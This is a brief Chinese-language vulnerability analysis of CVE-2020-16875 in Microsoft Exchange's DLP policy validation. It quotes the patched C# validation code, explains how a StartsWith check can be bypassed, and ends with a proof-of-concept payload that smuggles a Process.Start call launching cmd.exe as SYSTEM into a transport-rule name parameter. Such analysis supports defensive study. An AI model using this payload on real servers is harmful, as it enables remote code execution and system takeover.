CVE-2020-16875的补丁代码:
internal static void ValidateCmdletParameters(string cmdlet,
IEnumerable<KeyValuePair<string, string>> requiredParameters)
{
if (string.IsNullOrWhiteSpace(cmdlet))
{
return;
}
Collection<PSParseError> collection2;
Collection<PSToken> collection = PSParser.Tokenize(cmdlet,
out collection2);
if (collection2 != null && collection2.Count > 0)
{
throw new DlpPolicyParsingException(
Strings.DlpPolicyNotSupportedCmdlet(cmdlet));
}
if (collection != null)
{
// #1 CHECKS IF THERE IS MORE THAN ONE COMMAND, BUT DOES NOT
// RECOGNIZE .NET FUNCTIONS SUCH AS [Int32]::Parse("12")
if ((from token in collection
where token.Type == PSTokenType.Command
select token).ToList<PSToken>().Count > 1)
{
throw new DlpPolicyParsingException(
Strings.DlpPolicyMultipleCommandsNotSupported(cmdlet));
}
}
bool flag = false;
foreach (KeyValuePair<string, string> keyValuePair in requiredParameters)
{
// #2 CHECKS IF THE cmdlet STRING(!!) STARTS WITH AN ALLOWED KEY
if (cmdlet.StartsWith(keyValuePair.Key,
StringComparison.InvariantCultureIgnoreCase))
{
// #3 CHECKS IF THE THE VALUES / PARAMETERS MATCH A CERTAIN
// REGEX
if (!Regex.IsMatch(cmdlet, keyValuePair.Value,
RegexOptions.IgnoreCase))
{
throw new DlpPolicyParsingException(
Strings.DlpPolicyMissingRequiredParameter(cmdlet,
keyValuePair.Value));
}
flag = true;
}
}
if (!flag)
{
throw new DlpPolicyParsingException(Strings.DlpPolicyNotSupportedCmdlet(
cmdlet));
}
}
绕过:
可以轻松绕过检查#2,因为检查是在原始cmdlet字符串,仅使用函数.StartsWith()检查cmdlet的开头。要绕过,我们只提供给定的有效键中包含的命令字符串通过requiredParameters:
new-transportruleSOMETHINGELSE ....
PoC:
以下Payload可以绕过所有三个检查:
<![CDATA[ new-transportrule
-Name $([Diagnostics.Process]::start("cmd.exe / C <run-as-SYSTEM>"))
-DlpPolicy "%%DlpPolicyName%%"
]]>